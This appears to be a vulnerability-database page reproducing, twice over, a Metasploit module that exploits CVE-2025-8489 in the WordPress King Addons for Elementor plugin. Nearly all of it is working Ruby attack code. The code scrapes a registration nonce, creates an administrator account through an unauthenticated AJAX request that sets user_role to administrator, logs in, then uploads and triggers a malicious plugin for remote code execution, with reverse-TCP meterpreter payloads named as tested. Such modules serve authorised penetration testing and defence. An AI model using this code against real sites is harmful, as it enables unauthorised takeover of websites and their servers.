9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress King Addons for Elementor plugin versions 24.12.92 to 51.1.14. The vulnerability exists in the handleregisterajax function which allows unauthenticated...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-WP_KING_ADDONS_PRIVILEGE_ESCALATION-
Published
Dec 10, 2025 at 18:57
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
'Description' => %q{
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
in the handle_register_ajax() function which allows unauthenticated attackers to specify
the user_role parameter during registration, enabling them to create administrator accounts.
This exploit requires a WordPress page containing the King Addons "Login Register Form"
Elementor widget, which exposes the required nonce token in the page's JavaScript.
The NONCE_PAGE option must be set to the path of such a page.
Once an administrator account is created, the module uploads and executes a malicious
plugin to achieve remote code execution (RCE).
},
'Author' => [
'Peter Thaleikis', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8489'],
['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-10-30',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
]
)
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless admin_cookie
msg = 'Failed to log in to WordPress admin.'
msg += ' User may exist with a different password.' if user_existed
fail_with(Failure::UnexpectedReply, msg)
end
upload_and_execute_payload(admin_cookie)
end
private
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200
doc = res.get_html_document
return nil unless doc
script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
script_nodes.each do |script_node|
nonce = extract_nonce_from_script(script_node.text)
return nonce if nonce
end
vprint_warning('Could not find nonce')
nil
end
def extract_nonce_from_script(script_content)
match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
return nil unless match
json_data = begin
JSON.parse(match[1].gsub('\/', '/'))
rescue StandardError
nil
end
return nil unless json_data.is_a?(Hash)
nonce = json_data['register_nonce']
return nil unless nonce.is_a?(String) && !nonce.empty?
vprint_status("Found nonce: #{nonce}")
nonce
end
def send_registration_request(username:, email:, password:, user_role: 'administrator')
@nonce ||= find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'king_addons_user_register',
'nonce' => @nonce,
'username' => username,
'email' => email,
'password' => password,
'confirm_password' => password,
'user_role' => user_role,
'terms_required' => 'no'
}
)
end
def create_admin_user(username, password, email)
res = send_registration_request(username: username, email: email, password: password)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
json = res.get_json_document
unless json.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
print_warning('User or email already exists, attempting login with provided credentials...')
return true
end
if json['success'] == true
return false
end
fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_file = "#{payload_name}.php"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
'Description' => %q{
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
in the handle_register_ajax() function which allows unauthenticated attackers to specify
the user_role parameter during registration, enabling them to create administrator accounts.
This exploit requires a WordPress page containing the King Addons "Login Register Form"
Elementor widget, which exposes the required nonce token in the page's JavaScript.
The NONCE_PAGE option must be set to the path of such a page.
Once an administrator account is created, the module uploads and executes a malicious
plugin to achieve remote code execution (RCE).
},
'Author' => [
'Peter Thaleikis', # Vulnerability discovery
'Valentin Lobstein <[email protected]>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8489'],
['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2025-10-30',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
]
)
end
def check
return CheckCode::Unknown unless wordpress_and_online?
plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
return plugin_check if plugin_check == CheckCode::Safe
@nonce = find_nonce
return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
CheckCode::Appears
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless admin_cookie
msg = 'Failed to log in to WordPress admin.'
msg += ' User may exist with a different password.' if user_existed
fail_with(Failure::UnexpectedReply, msg)
end
upload_and_execute_payload(admin_cookie)
end
private
def find_nonce
nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
return nil unless res&.code == 200
doc = res.get_html_document
return nil unless doc
script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
script_nodes.each do |script_node|
nonce = extract_nonce_from_script(script_node.text)
return nonce if nonce
end
vprint_warning('Could not find nonce')
nil
end
def extract_nonce_from_script(script_content)
match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
return nil unless match
json_data = begin
JSON.parse(match[1].gsub('\/', '/'))
rescue StandardError
nil
end
return nil unless json_data.is_a?(Hash)
nonce = json_data['register_nonce']
return nil unless nonce.is_a?(String) && !nonce.empty?
vprint_status("Found nonce: #{nonce}")
nonce
end
def send_registration_request(username:, email:, password:, user_role: 'administrator')
@nonce ||= find_nonce
fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_post' => {
'action' => 'king_addons_user_register',
'nonce' => @nonce,
'username' => username,
'email' => email,
'password' => password,
'confirm_password' => password,
'user_role' => user_role,
'terms_required' => 'no'
}
)
end
def create_admin_user(username, password, email)
res = send_registration_request(username: username, email: email, password: password)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
json = res.get_json_document
unless json.is_a?(Hash)
fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
end
if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
print_warning('User or email already exists, attempting login with provided credentials...')
return true
end
if json['success'] == true
return false
end
fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
end
def upload_and_execute_payload(admin_cookie)
plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
zip = generate_plugin(plugin_name, payload_name)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
payload_file = "#{payload_name}.php"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end